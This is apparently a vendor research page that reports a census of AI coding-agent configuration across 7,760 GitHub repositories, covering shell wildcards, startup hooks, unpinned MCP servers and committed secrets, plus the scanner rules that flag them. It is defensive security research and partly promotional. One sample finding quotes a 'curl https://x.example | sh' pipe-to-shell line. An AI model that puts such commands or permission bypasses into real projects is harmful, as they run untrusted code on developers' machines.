ControlLoop research · November 6, 2026
What 7,760 GitHub repositories let their coding agents do
A census of committed AI-agent configuration on GitHub, analyzed with the open-source ControlLoop CLI. Every number is what the scanner reported across 7,760 public repositories; no repository is named.
Bash(*), any shell command with no prompt; 33% of those that commit an allow list at allThe sample
GitHub code search was used to find public, non-fork repositories that commit one of five agent configuration files: .claude/settings.json, .mcp.json, .codex/config.toml, .cursor/mcp.json, and .gemini/settings.json. Searches were spread across the five file types and across file sizes, so the sample is not dominated by one host or by tiny files. 80,742 repositories were discovered; 7,837 were fetched and 7,760 analyzed (77 had no readable configuration at the default branch).
For each repository only its agent-configuration files were downloaded (the paths ControlLoop's adapters read, including the workflows that run an agent in CI), then controlloop bom and controlloop scan ran on them. Scanner 0.7.1, rule pack controlloop-community 0.9.0.
| Sample fact | Value |
|---|---|
| Repositories analyzed | 7,760 |
| Found through each file type | Claude Code 3,858 · .mcp.json 2,815 · Codex 562 · Cursor 394 · Gemini CLI 331 |
| Hosts configured | Claude Code 6,622 · Codex 794 · Cursor 539 · Gemini CLI 419 · VS Code 210 · Kiro 27 · Roo Code 11 · copilot 2 (a repository often configures several) |
| Stars | median 0; 203 repositories with 100 or more; 60 with 1,000 or more |
| Analysis marked incomplete | 1,561 (20%), usually a workflow or component the adapter could not fully read; these are reported as unknowns, never dropped |
The sample is what code search returns, mostly small and personal repositories. It is a census of what gets committed, not a statement about any organization. The 100-plus-star cut (203 repositories) is given where it differs.
1. Permission rules: 14% of Claude Code setups allow any shell command
6,622 repositories configure Claude Code. 2,829 of them commit permission allow rules; the rest only declare MCP servers, hooks or components. Among those 2,829, 924 allow Bash(*): 33% of every repository that commits an allow list, and 14% of all Claude Code repositories. Wildcard rules of any kind (a bare tool name, Tool(*), a shell prefix with :*, mcp__server__*) appear in 1,977 repositories, 70% of those with an allow list. In total 54,174 of the 75,603 committed allow rules are wildcards. 833 repositories commit a deny rule.
| Measure | Repos | Share |
|---|---|---|
| Claude Code repositories | 6,622 | |
| …with any allow rule committed | 2,829 | 42.7% |
…allowing Bash(*) | 924 | 14% of all · 32.7% of those with allow rules |
| …with any wildcard allow rule | 1,977 | 29.9% of all · 69.9% of those with allow rules |
| …project file sets a bypass or auto mode (bypassPermissions 62, auto 17, dontAsk 1) | 98 | 1.5% |
…both Bash(*) and a bypass mode | 31 | 0.5% |
…with a deny rule | 833 | 12.6% |
100-plus-star repositories allowing Bash(*) | 22 of 176 | 12.5% |
2. Hooks: 20% ship one, and 8% run code on every session start
1,562 repositories commit at least one hook. A committed SessionStart hook runs on every machine that opens the repository, before anyone types a prompt; 610 repositories (7.9%) ship one. 1,180 of the hooked repositories run a script file from the repository itself, which is the same shape as a credential harvester disguised as setup: a one-line hook pointing at a file the same pull request can edit. 6 hooks download from the network, and 22 pipe output into a shell.
| Hook event (repositories using it) | Repos |
|---|---|
PreToolUse | 823 |
PostToolUse | 751 |
SessionStart | 610 |
Stop | 509 |
UserPromptSubmit | 279 |
Cursor and Gemini CLI events (BeforeTool, AfterTool, and others) | 1,074 |
| What the hook command does (repositories, of 1,562 hooked) | Repos |
|---|---|
| Runs a script file committed in the repository | 1,180 |
| Other inline commands | 498 |
| Runs a package through npx, uvx or similar | 65 |
| Pipes a download into a shell | 22 |
| Fetches from the network | 6 |
3. MCP servers: 43% declare one, and 91% of package-launched servers are unpinned
3,360 repositories (43.3%) declare at least one MCP server: 8,203 servers in all, 5,166 launched locally over stdio and 3,037 remote. 2,743 of the local servers are launched by package name (npx -y some-package, uvx some-package); 2,498 of those name no version. In 1,062 of the 1,097 repositories with an unpinned server, every packaged server is unpinned. Among 100-plus-star repositories, 85.5% of the 69 packaged servers are unpinned.
An unpinned server means the code the agent runs is whatever the registry serves tomorrow. The configuration never changes, so nothing in the repository's history shows when the server's behavior did. 155 repositories also commit a remote server declaration that sends a credential header or token variable to its host.
| MCP package used by 5 or more repositories | Repos |
|---|---|
@playwright/mcp | 227 |
@upstash/context7-mcp | 194 |
chrome-devtools-mcp | 97 |
shadcn | 87 |
@modelcontextprotocol/server-github | 78 |
@modelcontextprotocol/server-sequential-thinking | 59 |
@modelcontextprotocol/server-filesystem | 49 |
@supabase/mcp-server-supabase | 49 |
@modelcontextprotocol/server-memory | 40 |
mcp-remote | 40 |
next-devtools-mcp | 33 |
serena (PyPI) | 31 |
@modelcontextprotocol/server-postgres | 26 |
task-master-ai | 25 |
@angular/cli | 24 |
tsx | 22 |
code-review-graph (PyPI) | 19 |
mcp-server-fetch (PyPI) | 16 |
@sveltejs/mcp | 14 |
firebase-tools | 13 |
nx-mcp | 12 |
@executeautomation/playwright-mcp-server | 11 |
@mobilenext/mobile-mcp | 11 |
nx | 11 |
hashicorp/terraform-mcp-server (oci) | 11 |
mcp-server-git (PyPI) | 11 |
xcodebuildmcp | 10 |
@21st-dev/magic | 9 |
create-better-t-stack | 9 |
firecrawl-mcp | 9 |
ghcr.io/github/github-mcp-server (oci) | 9 |
blender-mcp (PyPI) | 9 |
@browsermcp/mcp | 8 |
@magicuidesign/mcp | 8 |
@modelcontextprotocol/server-puppeteer | 8 |
@sentry/mcp-server | 8 |
gitnexus | 8 |
trigger.dev | 8 |
@azure-devops/mcp | 6 |
@modelcontextprotocol/server-brave-search | 6 |
@notionhq/notion-mcp-server | 6 |
mongodb-mcp-server | 6 |
@azure/mcp | 5 |
@chakra-ui/react-mcp | 5 |
@eslint/mcp | 5 |
@heroui/react-mcp | 5 |
agentation-mcp | 5 |
agentkits-memory-server | 5 |
playwright | 5 |
rea-agents | 5 |
git+https://github.com/oraios/serena (PyPI) | 5 |
mcp-nixos (PyPI) | 5 |
postgres-mcp (PyPI) | 5 |
Packages used by fewer than 5 repositories are not listed, so no single project can be identified. Registries across all repository-package pairs: npm 1,838, PyPI 300, OCI 43.
How ControlLoop catches an MCP server that changes behind the same name →
4. Agents in CI: still rare, and mostly using the official action's OIDC token
221 repositories (2.8%) run a coding agent inside a GitHub workflow, 437 workflows in all. 351 of those workflows hold id-token: write, which the official agent actions use to authenticate, and 93 hold contents: write. 5 skip the agent's permission prompts. ControlLoop's over-privileged-workflow rule, which needs a write token and skipped prompts (or an untrusted trigger with no permissions block), fired in 4 repositories.
5. Skills, subagents and plugins: a large and lightly pinned surface
The sample commits 22,788 skills across 2,285 repositories, 5,790 subagents across 978, 11,466 plugins, and 1,245 plugin marketplaces. 1,000 repositories (12.9%) have a skill or subagent that grants itself tools or a looser permission mode; 92 have a skill that runs a shell command when it loads, before any prompt reaches the model, or a plugin that puts a bin/ directory on the agent's path. 1,699 repositories (21.9%) reference a plugin or marketplace with no commit or digest pin.
6. Secrets and other settings
- 158 repositories (2%) commit a credential-shaped or high-entropy value inside agent configuration or an agent workflow. ControlLoop reports the pattern and location, never the value.
- 171 expose a secret to an agent run triggered by untrusted input.
- 137 loosen an approval or sandbox mode from a project file (Codex
approval_policy = "never", Gemini CLIyolo, Claude CodebypassPermissions, auto-approve lists). - 52 weaken the agent's sandbox or network egress settings; 171 expand its workspace scope.
7. Overall: what a first scan finds
| Rule that fired on a first scan | Repos | Share |
|---|---|---|
policy.widened-permission-rule | 1,965 | 25.3% |
policy.unpinned-agent-component | 1,699 | 21.9% |
policy.agent-hook-command-change | 1,605 | 20.7% |
policy.component-self-grant | 1,000 | 12.9% |
policy.secret-exposed-to-untrusted-agent-run | 171 | 2.2% |
policy.workspace-scope-expansion | 171 | 2.2% |
policy.hardcoded-secrets | 158 | 2% |
policy.credentialed-remote-mcp-server | 155 | 2% |
policy.permission-bypass-from-project | 137 | 1.8% |
policy.component-shell-execution | 92 | 1.2% |
policy.agent-sandbox-weakened | 52 | 0.7% |
policy.overprivileged-agent-workflow | 4 | 0.1% |
4,799 repositories (61.8%) produced at least one finding. 107 had a finding at high and 32 at critical even on a first scan, where most rules report at low because there is nothing to compare against. The worst reachable capability was code execution in 2,938 repositories, an unclassifiable capability (a tool list the scanner could not read) in 1,743 repositories, external communication in 577 repositories, and write access in 122 repositories.
8. What a clone installs and runs: 2% open in a dev container, and 100% of those that install an extension leave one unpinned
Agent configuration is not the only thing a repository makes a machine run. A dev container installs the extensions and features it names and runs its lifecycle commands when the repository is opened. A pre-commit config clones each hook repository at its rev and runs it on every commit, including every commit an agent makes. An editor startup file runs when the project opens in Neovim, Vim or Emacs.
Clone-time protection reviews the files that silently install tools and run scripts every time a repo is opened or committed to, and flags any new, changed or unpinned entry in the pull request. A poisoned install gets caught by one reviewer before it merges, instead of running on every developer's laptop and CI runner.
| Measure | Repos | Share |
|---|---|---|
| Repositories checked for these files | 2,593 | |
Commit a dev container (.devcontainer/devcontainer.json or .devcontainer.json) | 59 | 2.3% |
| …whose dev container auto-installs an editor extension | 49 | 1.9% |
| …with at least one extension that names no exact version | 49 | 1.9% of all · 100% of those that install one |
…with a feature that names no exact version or digest (:1, :latest) | 30 | 1.2% |
…with a lifecycle command (postCreateCommand and the others) | 53 | 2% |
…running one on the developer's machine before the container starts (initializeCommand) | 11 | 0.4% |
| Commit a pre-commit config | 93 | 3.6% |
| …with a hook repository on a tag rather than a commit SHA | 70 | 2.7% of all · 75.3% of those with a config |
Commit an editor startup file (.nvim.lua, .exrc, .dir-locals.el and others) | fewer than 5 | |
Recommend VS Code extensions (.vscode/extensions.json, suggested and not installed) | 141 | 5.4% |
These figures cover the 2,593 repositories in this sample checked with ControlLoop 0.7.1, the first version that reads these files. The sample was found by searching for agent configuration, not for dev containers or pre-commit configs, so this is what repositories that commit agent configuration also install and run, not a count of dev containers on GitHub.
On a first scan these entries are recorded at low, like the rest of the census. In a pull request, an added or unpinned extension, feature or hook repository is reported by policy.unpinned-agent-component, and a new or changed lifecycle command, local hook or startup file by policy.agent-hook-command-change, each naming the entry for the reviewer.
How ControlLoop catches each of these
The census is a first scan: ControlLoop looked at each repository with no approved baseline, so it reported what exists and graded most of it low. That is deliberate; a first scan is an inventory, not a verdict on a change. The product is built for the other case: a pull request that introduces one of these patterns. There the same rule compares the branch with its base, grades the change, and the gate's default threshold (high) turns it into DEPLOYMENT BLOCKED, exit 1, with a one-sentence authority statement saying what the change grants and to whom. The entries below give both grades, the first-scan one the census saw and the pull-request one a team would see, from the rule documentation.
A SessionStart hook that runs a script
- Seen in the census
- 610 repositories run a hook on every session start; 1,180 hooked repositories run a committed script file.
- Rule
policy.agent-hook-command-change- First scan
- low, recorded, not blocking
- In a pull request
- high when a command hook is added or its command changes, so blocked. A non-command hook (
http,prompt,agent) is medium. - What the finding says
- "Added: Hook on event 'SessionStart' for host 'Claude Code' runs
node .github/setup.js." The authority statement adds: "This change gives Claude Code the power to runnode .github/setup.json every session start. No approval is recorded." - Why it works
- Every new hook is reported, including a formatter; the reviewer reads the command once and approves it by fingerprint. ControlLoop's rule documentation notes that the Miasma worm, Mini Shai-Hulud and CVE-2026-25725 spread through exactly this kind of committed hook.
An allow list widened to Bash(*)
- Seen in the census
- 924 repositories allow
Bash(*); 1,977 have some wildcard allow rule. - Rule
policy.widened-permission-rule- First scan
- low for wildcard rules
- In a pull request
- high when a wildcard is added, a rule is added that covers a baseline rule, or a rule changes to cover its old pattern, so blocked. medium for read-only tools. A narrowed rule, a new
denyorask, or an unchanged rule reports nothing. - What the finding says
- "Allow rule for 'Claude Code' widened from 'Bash(npm test)' to 'Bash(*)'." with the authority statement "This change gives Claude Code the power to use
Bash(*)without asking (a wildcard)." - Why it works
- A shell rule stays high however narrow its prefix:
Bash(npm run:*)runs any script in a file the same pull request can edit. The rule reads the pattern text, so confidence is high.
An MCP server with no pinned version, or one whose package changed under the same name
- Seen in the census
- 2,498 of 2,743 package-launched servers are unpinned; the configuration will keep running whatever the registry serves next.
- Rules
policy.mcp-server-identity-change; on Team,policy.unsanctioned-agent-componentwith the organization's approved list- First scan
- none for identity (nothing to compare); low for unpinned plugins and marketplaces
- In a pull request
- A server that keeps its name while its package, version, command or registry changes is high, so blocked, naming every field that changed. A new server is medium. On Team, a server the organization has not approved, or one outside the approved version range, or unpinned where
pin_requiredis set, is review required (exit 3), or blocked if the organization sets a severity floor. - What the finding says
- "Server 'postmark' kept its name but its identity changed: package version from '1.0.15' to '1.0.16', args from … to …, declaration digest."
- Why it works
- The rule documentation's example is the postmark-mcp backdoor, which shipped in version 1.0.16 after fifteen clean releases while the configuration named the same server every time. A rename is visible in a diff; a same-name swap is not, unless something compares identity. For the 91% that pin nothing, the gate's answer is the Team approved-components list: an organization approves a server at a version range, and anything else that launches by that name is flagged.
A project file that switches the agent to a bypass mode
- Seen in the census
- 98 Claude Code project files set a bypass or auto mode; 137 repositories loosen some host's approval or sandbox mode.
- Rule
policy.permission-bypass-from-project- First scan
- low for a host at the loose end of its scale
- In a pull request
- high for any loosening, so blocked. The rule knows each host's scale: Claude Code
plan → default → acceptEdits → dontAsk → auto → bypassPermissions; Codexuntrusted → on-request → on-failure → neverandread-only → workspace-write → danger-full-access; Gemini CLIplan → default → auto_edit → yolo. Tightening is silent. - What the finding says
- "Codex: 'approval_policy' moved from 'on-request' to 'never'."
- Why it works
- A project file applies to everyone who opens the repository. The remediation is to keep the strict mode in the project and put looser modes in personal settings outside it.
An agent workflow with a write token and no prompts
- Seen in the census
- 221 repositories run an agent in CI; 5 skip permission prompts; 4 hold a write token at the same time.
- Rule
policy.overprivileged-agent-workflow- First scan
- medium
- In a pull request
- high when a job is added or changed into holding
contents,pull-requestsorid-tokenwrite and skipping prompts, or running on an untrusted trigger with no permissions block, so blocked. - What the finding says
- "Job 'claude / review' holds contents: write, id-token: write and skips permission prompts."
- Why it works
- A read-only job is never reported, whatever its flags, so the official action's documented
id-token: writeon its own is not noise. The combination that lets an injected instruction push code or mint cloud credentials is what fires.
A skill or plugin that runs code when it loads, or grants itself tools
- Seen in the census
- 92 repositories have a skill with a shell line or a plugin
bin/directory; 1,000 have a component that grants itself tools or a looser mode; 1,699 reference an unpinned plugin or marketplace. - Rules
policy.component-shell-execution,policy.component-self-grant,policy.unpinned-agent-component- First scan
- low, once per skill or plugin
- In a pull request
- A shell line added to a skill, or a
bin/directory added to a plugin, is high, so blocked. An unpinned plugin or marketplace added is medium; a pinned one is low. - What the finding says
- "Added: Skill deploy runs
curl https://x.example | shwhen it loads, before any prompt reaches the model." or "Added: Marketplace team (github) has no commit or digest pin." - Why it works
- A skill's shell line runs when the skill loads, with no permission prompt; a plugin's
bin/joins the agent's path. The remediation is a full commit SHA or SHA-256 digest; a branch or tag reference counts as unpinned because it can move.
A secret committed in agent configuration
- Seen in the census
- 158 repositories (2%); 171 more expose a secret to an agent run on untrusted input; 155 send a credential header to a remote MCP host.
- Rules
policy.hardcoded-secrets,policy.secret-exposed-to-untrusted-agent-run,policy.credentialed-remote-mcp-server- First scan
- Secrets are reported on every scan, baseline or not; the credentialed-server rule is low on a first scan.
- In a pull request
- A credentialed remote server whose host changes is high, so blocked; a credentialed server added, or a credential name added to one, is medium.
- What the finding says
- The secret rule names the pattern and location, never the value: "SECRET-CREDENTIAL-SHAPE-DETECTED, AWS access key shape,
.mcp.json". The server rule: "MCP server 'docs' now sends Authorization to collector.example.net, previously api.example.com." - Why it works
- Credentials are recognized by header and variable name (
Authorization,x-api-key, anything ending in_token,_secret,_key), so the value is never read, logged or stored.
What the rules can't see, and what catches it anyway
1,743 repositories' worst reachable capability was unclassifiable: a tool list built at runtime that static analysis cannot enumerate. ControlLoop reports that as policy.unresolved-dynamic-registration rather than passing silently, and with completeness enforcement turned on the gate returns review required. For authority that no rule anticipated, a repository declares a capability ceiling in controlloop.yaml; a change that crosses it is blocked whether or not any pattern rule fires, and a ceiling breach cannot be suppressed.
Over time
The census runs nightly and this page is regenerated from its output when the numbers are reviewed. Each row is one snapshot of the GitHub sample: how many repositories were analyzed that day and the headline shares. The latest row is what the rest of this page shows. 8 snapshots so far.
| Snapshot | Analyzed | Bash(*) | SessionStart hook | Unpinned MCP | Credential | Any finding |
|---|---|---|---|---|---|---|
| 2026-11-06 | 7,760 | 14% | 8% | 91% | 2% | 62% |
| 2026-11-05 | 6,821 | 14% | 8% | 91% | 2.1% | 61% |
| 2026-11-04 | 6,076 | 14% | 8% | 91% | 2.1% | 60% |
| 2026-11-03 | 5,167 | 15% | 8% | 92% | 2.3% | 64% |
| 2026-11-02 | 4,268 | 15% | 8% | 92% | 2.2% | 62% |
| 2026-11-01 | 3,370 | 15% | 9% | 92% | 2.3% | 60% |
| 2026-10-31 | 2,552 | 15% | 7% | 94% | 2% | 57% |
| 2026-10-30 | 2,033 | 14% | 6% | 95% | 2.3% | 53% |
The data behind this page is public: census.json (the latest snapshot, aggregates only) and census-series.json (one row per snapshot). Shares are of the Claude Code sample for Bash(*), of package-launched servers for unpinned MCP, and of all analyzed repositories otherwise.
Limitations
- The sample is what GitHub code search returns for five file names, sharded by file size. It over-represents small and personal repositories (median 0 stars) and cannot say how enterprises configure agents; the 100-plus-star cut is small (203 repositories).
- A first scan grades most patterns low because there is no baseline. The pull-request severities above come from the rule documentation, not from re-running each repository's history.
- Only agent-configuration files and the root-level files a clone installs and runs (dev container, VS Code recommendations, pre-commit config, editor startup files, JetBrains required plugins) were fetched, so a secret elsewhere in a repository is not counted, and a skill's body, a hook's script or a lifecycle command's script were not read beyond what the CLI's adapters record.
- The hook-command classes are coarse, by regular expression on the command text, and were discarded after counting.
- GitHub only. GitLab.com has no public cross-project code search, so GitLab projects are not part of these numbers.
- Scanner 0.7.1 with rule pack 0.9.0; the same census on a later version will differ as rules are added.
See your own repository's numbers
The same scanner runs on your machine in under a minute, reads only committed files, and sends nothing anywhere. Then gate every pull request so none of these patterns arrives unreviewed.
Get the free CLI Start a Team trial